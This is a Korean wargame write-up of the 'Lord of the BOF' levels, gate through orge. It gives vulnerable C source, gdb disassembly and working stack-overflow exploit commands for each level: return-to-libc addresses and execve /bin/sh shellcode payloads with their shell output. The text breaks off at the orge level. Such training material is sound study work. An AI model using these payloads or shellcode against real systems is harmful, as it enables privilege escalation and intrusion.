gate

1. source code

2. gdb

3. exploit code

gate

1. source code

1
2
3
4
5
6
7
8
9
10
int main(int argc, char *argv[])
{
    char buffer[256];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

2. gdb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
0x8048430 <main>:	push   %ebp
0x8048431 <main+1>:	mov    %ebp,%esp
0x8048433 <main+3>:	sub    %esp,0x100
0x8048439 <main+9>:	cmp    DWORD PTR [%ebp+8],1
0x804843d <main+13>:	jg     0x8048456 <main+38>
0x804843f <main+15>:	push   0x80484e0
0x8048444 <main+20>:	call   0x8048350 <printf>
0x8048449 <main+25>:	add    %esp,4
0x804844c <main+28>:	push   0
0x804844e <main+30>:	call   0x8048360 <exit>
0x8048453 <main+35>:	add    %esp,4
0x8048456 <main+38>:	mov    %eax,DWORD PTR [%ebp+12]
0x8048459 <main+41>:	add    %eax,4
0x804845c <main+44>:	mov    %edx,DWORD PTR [%eax]
0x804845e <main+46>:	push   %edx
0x804845f <main+47>:	lea    %eax,[%ebp-256]
0x8048465 <main+53>:	push   %eax
0x8048466 <main+54>:	call   0x8048370 <strcpy>
0x804846b <main+59>:	add    %esp,8
0x804846e <main+62>:	lea    %eax,[%ebp-256]
0x8048474 <main+68>:	push   %eax
0x8048475 <main+69>:	push   0x80484ec
0x804847a <main+74>:	call   0x8048350 <printf>
0x804847f <main+79>:	add    %esp,8
0x8048482 <main+82>:	leave
0x8048483 <main+83>:	ret

3. exploit code

1
2
3
4
./gremlin `python -c 'print "A"*260+"\xe0\x8a\x05\x40"+"AAAA"+"\xf9\xbf\x0f\x40"'`
bash$ my-pass
euid = 501
hello bof world

이번 취약점은 strcpy에 buf 길이 검증을 하지 않아 발생하는 BoF. esp는 ebp-256에 위치하고 있기 때문에 SFP(4)까지 A 를 입력하고 RET 위치에 RLT를 이용하여 system함수를 넣게 된다. 이후 4byte dummy를 생성하고, 인자값인 /bin/sh를 넣게 된다.

gremlin

1. source code

1
2
3
4
5
6
7
8
9
10
int main(int argc, char *argv[])
{
    char buffer[16];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

2. gdb

0x8048430 <main>:	push   %ebp
0x8048431 <main+1>:	mov    %ebp,%esp
0x8048433 <main+3>:	sub    %esp,16
0x8048436 <main+6>:	cmp    DWORD PTR [%ebp+8],1
0x804843a <main+10>:	jg     0x8048453 <main+35>
0x804843c <main+12>:	push   0x80484d0
; "argv error\n"
0x8048441 <main+17>:	call   0x8048350 <printf>
0x8048446 <main+22>:	add    %esp,4
0x8048449 <main+25>:	push   0
0x804844b <main+27>:	call   0x8048360 <exit>
0x8048450 <main+32>:	add    %esp,4
0x8048453 <main+35>:	mov    %eax,DWORD PTR [%ebp+12]
0x8048456 <main+38>:	add    %eax,4
0x8048459 <main+41>:	mov    %edx,DWORD PTR [%eax]
0x804845b <main+43>:	push   %edx
0x804845c <main+44>:	lea    %eax,[%ebp-16]
0x804845f <main+47>:	push   %eax
0x8048460 <main+48>:	call   0x8048370 <strcpy>
0x8048465 <main+53>:	add    %esp,8
0x8048468 <main+56>:	lea    %eax,[%ebp-16]
0x804846b <main+59>:	push   %eax
; buffer
0x804846c <main+60>:	push   0x80484dc
; "%s\n"
0x8048471 <main+65>:	call   0x8048350 <printf>
0x8048476 <main+70>:	add    %esp,8
0x8048479 <main+73>:	leave
0x804847a <main+74>:	ret

3. exploit code

1
2
3
4
5
6
7
8
9
10
Starting program: /home/gremlin/test `python -c 'print "A"*22'`
AAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, 0x804847a in main ()
(gdb) ni
0x40004141 in print_missing_version (errcode=Cannot access memory at address 0x41414149
) at rtld.c:1176
1176	rtld.c: No such file or directory.
(gdb) x/x $eip
0x40004141 <print_missing_version+53>:	0xcd9f838d

22개의 A 입력 시 eip에 2개가 들어가게 된다. 즉 24 byte까지 넣어야 하는데, 현재 왜 20 위치 부터 eip가 시작되는지 모르겠다. -> 아 실수 ….. ebp-16 위치부터 buffer 값을 입력받는다. 0 - 16 까지 buffer 16 - 20 까지 SFP 20 - 24 까지 RET 이렇게 되는 구나

./cobolt `python -c 'print "A"*20+"\xe0\x8a\x05\xAAA"+"\xf9\xbf\x0f\x40"'`
bash$ id

uid=501(gremlin) gid=501(gremlin) euid=502(cobolt) egid=502(cobolt)
groups=501(gremlin)

bash$ my-pass

euid = 502

hacking exposed

cobolt

1. source code

1
2
3
4
5
6
int main()
{
    char buffer[16];
    gets(buffer);
    printf("%s\n", buffer);
}

2. gdb

0x80483f8 <main>:	push   %ebp
0x80483f9 <main+1>:	mov    %ebp,%esp
0x80483fb <main+3>:	sub    %esp,16
0x80483fe <main+6>:	lea    %eax,[%ebp-16]
0x8048401 <main+9>:	push   %eax
0x8048402 <main+10>:	call   0x804830c <gets>
0x8048407 <main+15>:	add    %esp,4
0x804840a <main+18>:	lea    %eax,[%ebp-16]
0x804840d <main+21>:	push   %eax
0x804840e <main+22>:	push   0x8048470
0x8048413 <main+27>:	call   0x804833c <printf>
0x8048418 <main+32>:	add    %esp,8
0x804841b <main+35>:	leave
0x804841c <main+36>:	ret
0x804841d <main+37>:	nop
0x804841e <main+38>:	nop
0x804841f <main+39>:	nop

3. exploit code

1
2
3
4
5
(python -c 'print "A"*20+"\xe0\x8a\x05\x40"+"AAAA"+"\xf9\xbf\x0f\x40"';cat)|./goblin

my-pass
euid = 503
hackers proof

goblin

1. source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// egghunter
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);
}

소스 코드가 기존 보다 어려워졌다… 좀 분석을 하자면 egghunter이 등장하였는데 for와 memset을 이용해 environ을 0으로 초기화 한다. 이후 2차원 배열을 통해 argv [1][47] 값이 \xbf가 되야 한다. 입력 값이 48 번째 값이 \xbf가 되야 하나 보다…

결국 취약점이 터지는 부분은 strcpy(buffer, argv[1])에서 터지게 된다. 환경변수에 shell을 입력하고 참조하는 로직은 안된다는 점! shell 코드를 제작하여, /bin/sh를 실행 시키도록 해야 한다.

2. gdb

0x8048500 <main>:	push   %ebp
0x8048501 <main+1>:	mov    %ebp,%esp
0x8048503 <main+3>:	sub    %esp,44
0x8048506 <main+6>:	cmp    DWORD PTR [%ebp+8],1
0x804850a <main+10>:	jg     0x8048523 <main+35>
0x804850c <main+12>:	push   0x8048630
0x8048511 <main+17>:	call   0x8048410 <printf>
0x8048516 <main+22>:	add    %esp,4
0x8048519 <main+25>:	push   0
0x804851b <main+27>:	call   0x8048420 <exit>
0x8048520 <main+32>:	add    %esp,4
0x8048523 <main+35>:	nop
0x8048524 <main+36>:	mov    DWORD PTR [%ebp-44],0x0
0x804852b <main+43>:	nop
0x804852c <main+44>:	lea    %esi,[%esi*1]
0x8048530 <main+48>:	mov    %eax,DWORD PTR [%ebp-44]
0x8048533 <main+51>:	lea    %edx,[%eax*4]
0x804853a <main+58>:	mov    %eax,%ds:0x8049750
0x804853f <main+63>:	cmp    DWORD PTR [%eax+%edx],0
0x8048543 <main+67>:	jne    0x8048547 <main+71>
0x8048545 <main+69>:	jmp    0x8048587 <main+135>
0x8048547 <main+71>:	mov    %eax,DWORD PTR [%ebp-44]
0x804854a <main+74>:	lea    %edx,[%eax*4]
0x8048551 <main+81>:	mov    %eax,%ds:0x8049750
0x8048556 <main+86>:	mov    %edx,DWORD PTR [%eax+%edx]
0x8048559 <main+89>:	push   %edx
0x804855a <main+90>:	call   0x80483f0 <strlen>
0x804855f <main+95>:	add    %esp,4
0x8048562 <main+98>:	mov    %eax,%eax
0x8048564 <main+100>:	push   %eax
0x8048565 <main+101>:	push   0
0x8048567 <main+103>:	mov    %eax,DWORD PTR [%ebp-44]
0x804856a <main+106>:	lea    %edx,[%eax*4]
0x8048571 <main+113>:	mov    %eax,%ds:0x8049750
0x8048576 <main+118>:	mov    %edx,DWORD PTR [%eax+%edx]
0x8048579 <main+121>:	push   %edx
0x804857a <main+122>:	call   0x8048430 <memset>
0x804857f <main+127>:	add    %esp,12
0x8048582 <main+130>:	inc    DWORD PTR [%ebp-44]
0x8048585 <main+133>:	jmp    0x8048530 <main+48>
0x8048587 <main+135>:	mov    %eax,DWORD PTR [%ebp+12]
0x804858a <main+138>:	add    %eax,4
0x804858d <main+141>:	mov    %edx,DWORD PTR [%eax]
0x804858f <main+143>:	add    %edx,47
0x8048592 <main+146>:	cmp    BYTE PTR [%edx],0xbf
0x8048595 <main+149>:	je     0x80485b0 <main+176>
0x8048597 <main+151>:	push   0x804863c
0x804859c <main+156>:	call   0x8048410 <printf>
0x80485a1 <main+161>:	add    %esp,4
0x80485a4 <main+164>:	push   0
0x80485a6 <main+166>:	call   0x8048420 <exit>
0x80485ab <main+171>:	add    %esp,4
0x80485ae <main+174>:	mov    %esi,%esi
0x80485b0 <main+176>:	mov    %eax,DWORD PTR [%ebp+12]
0x80485b3 <main+179>:	add    %eax,4
0x80485b6 <main+182>:	mov    %edx,DWORD PTR [%eax]
0x80485b8 <main+184>:	push   %edx
0x80485b9 <main+185>:	lea    %eax,[%ebp-40]
0x80485bc <main+188>:	push   %eax
0x80485bd <main+189>:	call   0x8048440 <strcpy>
0x80485c2 <main+194>:	add    %esp,8
0x80485c5 <main+197>:	lea    %eax,[%ebp-40]
0x80485c8 <main+200>:	push   %eax
0x80485c9 <main+201>:	push   0x8048659
0x80485ce <main+206>:	call   0x8048410 <printf>
0x80485d3 <main+211>:	add    %esp,8
0x80485d6 <main+214>:	leave
0x80485d7 <main+215>:	ret
0x80485d8 <main+216>:	nop
0x80485d9 <main+217>:	nop
0x80485da <main+218>:	nop
0x80485db <main+219>:	nop
0x80485dc <main+220>:	nop
0x80485dd <main+221>:	nop
0x80485de <main+222>:	nop
0x80485df <main+223>:	nop

3. exploit code

1
2
3
4
5
6
7
8
9
10
11
12
(gdb) r `python -c "print 'A'*40+'BBBB'+'\xbf\xbf\xbf\xbf'"`
Starting program: /tmp/orc `python -c "print 'A'*40+'BBBB'+'\xbf\xbf\xbf\xbf'"`

Breakpoint 1, 0x80485c5 in main ()
(gdb) x/20wx $esp
0xbffffc8c:	0x00000015	0x41414141	0x41414141	0x41414141
0xbffffc9c:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffcac:	0x41414141	0x41414141	0x41414141	0x42424242
0xbffffcbc:	0xbfbfbfbf	0x00000000	0xbffffd04	0xbffffd10
0xbffffccc:	0x40013868	0x00000002	0x08048450	0x00000000
(gdb) x/x 0xbffffc90
0xbffffc90:	0x41414141

shell 코드를 실행 시키기 위해서는 buffer의 시작점을 알아야 한다. 위와 같이 충분히 stack을 덮어 쓰고 어디부터 A를 덮어 쓰는지 확인헤야 한다.

여기서는 0xbffffc8c + 4 = 0xbffffc90

  • 25byte shell
    1
    
    \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
    

exploit payload 는

shellcode : 25 byte NOP : 15 byte SFP : 4 byte RET : 4 byte (0xbffffc90)

위와 같이 exploit payload 를 짜보자!

1
2
3
4
5
`python -c "print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*19+"\x90\xfc\xff\xbf"`

bash$ my-pass
euid = 504
cantata

오오 됨!!

orc

1. source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// egghunter
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}
	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

2. gdb

0x8048500 <main>:	push   %ebp
0x8048501 <main+1>:	mov    %ebp,%esp
0x8048503 <main+3>:	sub    %esp,44
0x8048506 <main+6>:	cmp    DWORD PTR [%ebp+8],1
0x804850a <main+10>:	jg     0x8048523 <main+35>
0x804850c <main+12>:	push   0x8048640
0x8048511 <main+17>:	call   0x8048410 <printf>
0x8048516 <main+22>:	add    %esp,4
0x8048519 <main+25>:	push   0
0x804851b <main+27>:	call   0x8048420 <exit>
0x8048520 <main+32>:	add    %esp,4
0x8048523 <main+35>:	nop
0x8048524 <main+36>:	mov    DWORD PTR [%ebp-44],0x0
0x804852b <main+43>:	nop
0x804852c <main+44>:	lea    %esi,[%esi*1]
0x8048530 <main+48>:	mov    %eax,DWORD PTR [%ebp-44]
0x8048533 <main+51>:	lea    %edx,[%eax*4]
0x804853a <main+58>:	mov    %eax,%ds:0x8049760
0x804853f <main+63>:	cmp    DWORD PTR [%eax+%edx],0
0x8048543 <main+67>:	jne    0x8048547 <main+71>
0x8048545 <main+69>:	jmp    0x8048587 <main+135>
0x8048547 <main+71>:	mov    %eax,DWORD PTR [%ebp-44]
0x804854a <main+74>:	lea    %edx,[%eax*4]
0x8048551 <main+81>:	mov    %eax,%ds:0x8049760
0x8048556 <main+86>:	mov    %edx,DWORD PTR [%eax+%edx]
0x8048559 <main+89>:	push   %edx
0x804855a <main+90>:	call   0x80483f0 <strlen>
0x804855f <main+95>:	add    %esp,4
0x8048562 <main+98>:	mov    %eax,%eax
0x8048564 <main+100>:	push   %eax
0x8048565 <main+101>:	push   0
0x8048567 <main+103>:	mov    %eax,DWORD PTR [%ebp-44]
0x804856a <main+106>:	lea    %edx,[%eax*4]
0x8048571 <main+113>:	mov    %eax,%ds:0x8049760
0x8048576 <main+118>:	mov    %edx,DWORD PTR [%eax+%edx]
0x8048579 <main+121>:	push   %edx
0x804857a <main+122>:	call   0x8048430 <memset>
0x804857f <main+127>:	add    %esp,12
0x8048582 <main+130>:	inc    DWORD PTR [%ebp-44]
0x8048585 <main+133>:	jmp    0x8048530 <main+48>
0x8048587 <main+135>:	mov    %eax,DWORD PTR [%ebp+12]
0x804858a <main+138>:	add    %eax,4
0x804858d <main+141>:	mov    %edx,DWORD PTR [%eax]
0x804858f <main+143>:	add    %edx,47
0x8048592 <main+146>:	cmp    BYTE PTR [%edx],0xbf
0x8048595 <main+149>:	je     0x80485b0 <main+176>
0x8048597 <main+151>:	push   0x804864c
0x804859c <main+156>:	call   0x8048410 <printf>
0x80485a1 <main+161>:	add    %esp,4
0x80485a4 <main+164>:	push   0
0x80485a6 <main+166>:	call   0x8048420 <exit>
0x80485ab <main+171>:	add    %esp,4
0x80485ae <main+174>:	mov    %esi,%esi
0x80485b0 <main+176>:	mov    %eax,DWORD PTR [%ebp+12]
0x80485b3 <main+179>:	add    %eax,4
0x80485b6 <main+182>:	mov    %edx,DWORD PTR [%eax]
0x80485b8 <main+184>:	push   %edx
0x80485b9 <main+185>:	lea    %eax,[%ebp-40]
0x80485bc <main+188>:	push   %eax
0x80485bd <main+189>:	call   0x8048440 <strcpy>
0x80485c2 <main+194>:	add    %esp,8
0x80485c5 <main+197>:	lea    %eax,[%ebp-40]
0x80485c8 <main+200>:	push   %eax
0x80485c9 <main+201>:	push   0x8048669
0x80485ce <main+206>:	call   0x8048410 <printf>
0x80485d3 <main+211>:	add    %esp,8
0x80485d6 <main+214>:	push   40
0x80485d8 <main+216>:	push   0
0x80485da <main+218>:	lea    %eax,[%ebp-40]
0x80485dd <main+221>:	push   %eax
0x80485de <main+222>:	call   0x8048430 <memset>
0x80485e3 <main+227>:	add    %esp,12
0x80485e6 <main+230>:	leave
0x80485e7 <main+231>:	ret
0x80485e8 <main+232>:	nop
0x80485e9 <main+233>:	nop
0x80485ea <main+234>:	nop
0x80485eb <main+235>:	nop
0x80485ec <main+236>:	nop
0x80485ed <main+237>:	nop
0x80485ee <main+238>:	nop
0x80485ef <main+239>:	nop

3. exploit code

이 문제를 풀기 위해 생각한 방법은 buffer : 40 byte SFP : 4 byte RET : 4 byte

이런 스택 구조에서 RET 다음에 쉘 코드를 넣고, RET(eip)를 RET+4byte로 지정하면 될 것이라 생각했다….. 삽질 결과 위 방식은 되지 않고 중요한 사실을 알게 되었다….

1
2
3
4
5
6
7
8
(gdb) ni
0x80485e3 in main ()
(gdb) x/20wx $esp
0xbffffc90:	0xbffffca0	0x00000000	0x00000028	0x00000015
0xbffffca0:	0x00000000	0x00000000	0x00000000	0x00000000
0xbffffcb0:	0x00000000	0x00000000	0x00000000	0x00000000
0xbffffcc0:	0x00000000	0x00000000	0x42424242	0xbfbfbfbf
0xbffffcd0:	0x00000000	0xbffffd14	0xbffffd20	0x40013868

ni 10 번 정도 실행하면 입력하였던 값이 buffer hunter로 인해 0으로 변환되버린다. 흠 여기서 좀더 스택 구조를 살펴 보도록 하자….

x/20wx $esp 를 계속하다보면

1
2
3
4
5
6
7
8
9
0xbffffdd0:	0x00000010	0x0fabfbff	0x0000000f	0xbffffe05
0xbffffde0:	0x00000000	0x00000000	0x00000000	0x00000000
0xbffffdf0:	0x00000000	0x00000000	0x00000000	0x00000000
0xbffffe00:	0x00000000	0x38366900	0x742f0036	0x772f706d
0xbffffe10:	0x00666c6f	0x41414141	0x41414141	0x41414141
0xbffffe20:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffe30:	0x41414141	0x41414141	0x41414141	0x42424242
0xbffffe40:	0xbfbfbfbf	0x00000000	0x00000000	0x00000000
0xbffffe50:	0x00000000	0x00000000	0x00000000	0x00000000

입력하였던 값이 다시 노출된다. 정확한 위치는 …. 0xbffffe10 + 4 = 0xbffffe14 이 값은 argv[1]의 주소로 프로그램이 종료가 될때까지 stack에 남아 있다. 위에서 buffer가 0으로 초기화되어도 argv[1]의 주소로 이동하게 되면 shell을 실행할 수 있게 된다는 것이다.

exploit payload는 아래와 같다

1
2
3
4
5
./wolfman `python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'+'\x90'*19+'\x14\xfe\xff\xbf'"`

1�Ph//shh/bin��PS��1Ұ
                      ̀����������������������
Segmentation fault

위 payload 를 입력하면 그림 좋게 segment fault가 뜨게 된다….

또 삽질 시작…. 결국 wolfman을 /tmp 디렉토리에 복사하여 소스코드에 argv의 real address를 출력하는 코드를 삽입하였다.

1
2
3
// buffer hunter
memset(buffer, 0, 40);
printf("%#x\n",argv[1]);

오류 발생 시 argv의 정확한 주소를 파악 할 수 있다.

1
2
3
tmp/wolf `python -c "print 'A'*40 + 'BBBB' + '\xbf\xbf\xbf\xbf'"`
0xbffffe08
Segmentation fault (core dumped)

최종 exploit payload는 아래와 같다

1
2
3
4
./wolfman `python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'+'\x90'*19+'\x08\xfe\xff\xbf'"`
bash$ my-pass
euid = 505
love eyuna

wolfman

1. source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkelf
        - egghunter + buffer hunter + check length of argv[1]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// egghunter
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	// check the length of argument
	if(strlen(argv[1]) > 48){
		printf("argument is too long!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

음 이번에는 argv의 길이값 검증까지 추가 되었다… 이 문제를 풀기위해서는 48byte로만 exploit payload를 구성해야 되는데 이미 그렇게 구성하고 있기 때문에 …. 별 무리 없이 패스 할 수 있었다….

2. gdb

첨부하지 않음

3. exploit code

1
2
3
4
./darkelf `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*19+"\xec\xfd\xff\xbf"'`
bash$ my-pass
euid = 506
kernel crashed

darkelf

1. source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
/*
        The Lord of the BOF : The Fellowship of the BOF
        - orge
        - check argv[0]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// here is changed!
	if(strlen(argv[0]) != 77){
                printf("argv[0] error\n");
                exit(0);
	}

	// egghunter
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	// check the length of argument
	if(strlen(argv[1]) > 48){
		printf("argument is too long!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

2. gdb

0x8048500 <main>: push %ebp 0x8048501 <main+1>: mov %ebp,%esp 0x8048503 <main+3>: sub %esp,44 0x8048506 <main+6>: cmp DWORD PTR [%ebp+8],1 0x804850a <main+10>: jg 0x8048523 <main+35> 0x804850c <main+12>: push 0x8048690 0x8048511 <main+17>: call 0x8048410 0x8048516 <main+22>: add %esp,4 0x8048519 <main+25>: push 0 0x804851b <main+27>: call 0x8048420 0x8048520 <main+32>: add %esp,4 0x8048523 <main+35>: mov %eax,DWORD PTR [%ebp+12] 0x8048526 <main+38>: mov %edx,DWORD PTR [%eax] 0x8048528 <main+40>: push %edx 0x8048529 <main+41>: call 0x80483f0 0x804852e <main+46>: add %esp,4 0x8048531 <main+49>: mov %eax,%eax 0x8048533 <main+51>: cmp %eax,77 0x8048536 <main+54>: je 0x8048550 <main+80> 0x8048538 <main+56>: push 0x804869c 0x804853d <main+61>: call 0x8048410 0x8048542 <main+66>: add %esp,4 0x8048545 <main+69>: push 0 0x8048547 <main+71>: call 0x8048420 0x804854c <main+76>: add %esp,4 0x804854f <main+79>: nop 0x8048550 <main+80>: nop 0x8048551 <main+81>: mov DWORD PTR [%ebp-44],0x0 0x8048558 <main+88>: mov %eax,DWORD PTR [%ebp-44] 0x804855b <main+91>: lea %edx,[%eax*4] 0x8048562 <main+98>: mov %eax,%ds:0x80497d4 0x8048567 <main+103>: cmp DWORD PTR [%eax+%edx],0 0x804856b <main+107>: jne 0x8048570 <main+112> 0x804856d <main+109>: jmp 0x80485b0 <main+176> 0x804856f <main+111>: nop 0x8048570 <main+112>: mov %eax,DWORD PTR [%ebp-44] 0x8048573 <main+115>: lea %edx,[%eax*4] 0x804857a <main+122>: mov %eax,%ds:0x80497d4 0x804857f <main+127>: mov %edx,DWORD PTR [%eax+%edx] 0x8048582 <main+130>: push %edx 0x8048583 <main+131>: call 0x80483f0 0x8048588 <main+136>: add %esp,4 0x804858b <main+139>: mov %eax,%eax 0x804858d <main+141>: push %eax 0x804858e <main+142>: push 0 0x8048590 <main+144>: mov %eax,DWORD PTR [%ebp-44] 0x8048593 <main+147>: lea %edx,[%eax*4] 0x804859a <main+154>: mov %eax,%ds:0x80497d4 0x804859f <main+159>: mov %edx,DWORD PTR [%eax+%edx] 0x80485a2 <main+162>: push %edx 0x80485a3 <main+163>: call 0x8048430 0x80485a8 <main+168>: add %esp,12 0x80485ab <main+171>: inc DWORD PTR [%ebp-44] 0x80485ae <main+174>: jmp 0x8048558 <main+88> 0x80485b0 <main+176>: mov %eax,DWORD PTR [%ebp+12] 0x80485b3 <main+179>: add %eax,4 0x80485b6 <main+182>: mov %edx,DWORD PTR [%eax] 0x80485b8 <main+184>: add %edx,47 0x80485bb <main+187>: cmp BYTE PTR [%edx],0xbf 0x80485be <main+190>: je 0x80485d7 <main+215> 0x80485c0 <main+192>: push 0x80486ab 0x80485c5 <main+197>: call 0x8048410 0x80485ca <main+202>: add %esp,4 0x80485cd <main+205>: push 0 0x80485cf <main+207>: call 0x8048420 0x80485d4 <main+212>: add %esp,4 0x80485d7 <main+215>: mov %eax,DWORD PTR [%ebp+12] 0x80485da <main+218>: add %eax,4 0x80485dd <main+221>: mov %edx,DWORD PTR [%eax] 0x80485df <main+223>: push %edx 0x80485e0 <main+224>: call 0x80483f0 0x80485e5 <main+229>: add %esp,4 0x80485e8 <main+232>: mov %eax,%eax 0x80485ea <main+234>: cmp %eax,48 0x80485ed <main+237>: jbe 0x8048606 <main+262> 0x80485ef <main+239>: push 0x80486c8 0x80485f4 <main+244>: call 0x8048410 0x80485f9 <main+249>: add %esp,4 0x80485fc <main+252>: push 0 0x80485fe <main+254>: call 0x8048420 0x8048603 <main+259>: add %esp,4 0x8048606 <main+262>: mov %eax,DWORD PTR [%ebp+12] 0x8048609 <main+265>: add %eax,4 0x804860c <main+268>: mov %edx,DWORD PTR [%eax] 0x804860e <main+270>: push %edx 0x804860f <main+271>: lea %eax,[%ebp-40] 0x8048612 <main+274>: push %eax 0x8048613 <main+275>: call 0x8048440 0x8048618 <main+280>: add %esp,8 0x804861b <main+283>: lea %eax,[%ebp-40] 0x804861e <main+286>: push %eax 0x804861f <main+287>: push 0x80486df 0x8048624 <main+292>: call 0x8048410 0x8048629 <main+297>: add %esp,8 0x804862c <main+300>: push 40 0x804862e <main+302>: push 0 0x8048630 <main+304>: lea %eax,[%ebp-40] 0x8048633 <main+307>: push %eax 0x8048634 <main+308>: call 0x8048430 0x8048639 <main+313>: add %esp,12 0x804863c <main+316>: leave 0x804863d <main+317>: ret 0x804863e <main+318>: nop 0x804863f <main+319>: nop

3. exploit code

argv 0 에 길이가 77이 되야 하는 조건이 붙는다. 그렇다면 argv 0 은 도대체 무엇일까? 참조 : http://lafirr.tistory.com/12 위 사이트를 참고한 결과 실행할 바이너리를 뜻한다. 즉 ./orge test 라는 명령어를 쉘에서 입력 시 ./orge가 argv 0 이되며, test 가 argv 1 이되는 것이다. ./orge의 길이를 77만큼 만들어야 하는데…

1
2
[darkelf@localhost darkelf]$ ////////////////////bin/ls
orge  orge.c

이런 방식처럼 ////를 많이 입력하여도 하나의 / 로 받아들이기 때문에 / 를 통해 문자열 길이를 조정하면 될 것 같다.

1
2
3
4
[darkelf@localhost darkelf]$ `python -c 'print "."+"/"*72+"orge"'`
argv error
[darkelf@localhost darkelf]$ `python -c 'print "."+"/"*72+"orge "'`a
stack is still your friend.

최종으로 생각한 exploit payload는 아래와 같다.

1
2
3
4
5
6
7
 `python -c 'print "."+"/"*72+"orge "+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*19+"\xec\xfd\xff\xbf"'`

 <\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*19+"\xec\xfd\xff\xbf"'`
 1�Ph//shh/bin��PS��1Ұ
                       ̀�����������������������
 0xbffffd64
 Segmentation fault (core dumped)

이런… segmentation fault가 떴다…. 페이로드를 다시 짜면, argv2의 메모리 주소를 위 풀이 처럼 다시 확인 결과 아래와 같은 페이로드를 짤 수 있었다.

1
2
3
4
5
 `python -c 'print "."+"/"*72+"orge "+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*19+"\x64\xfd\xff\xbf"'`

 bash$ my-pass
 euid = 507
 timewalker

orge

1. source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
/*
        The Lord of the BOF : The Fellowship of the BOF
        - troll
        - check argc + argv hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	// here is changed
	if(argc != 2){
		printf("argc must be two!\n");
		exit(0);
	}

	// egghunter
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	// check the length of argument
	if(strlen(argv[1]) > 48){
		printf("argument is too long!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);

	// one more!
	memset(argv[1], 0, strlen(argv[1]));
}

소스 코드를 분석해보면,

2. gdb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
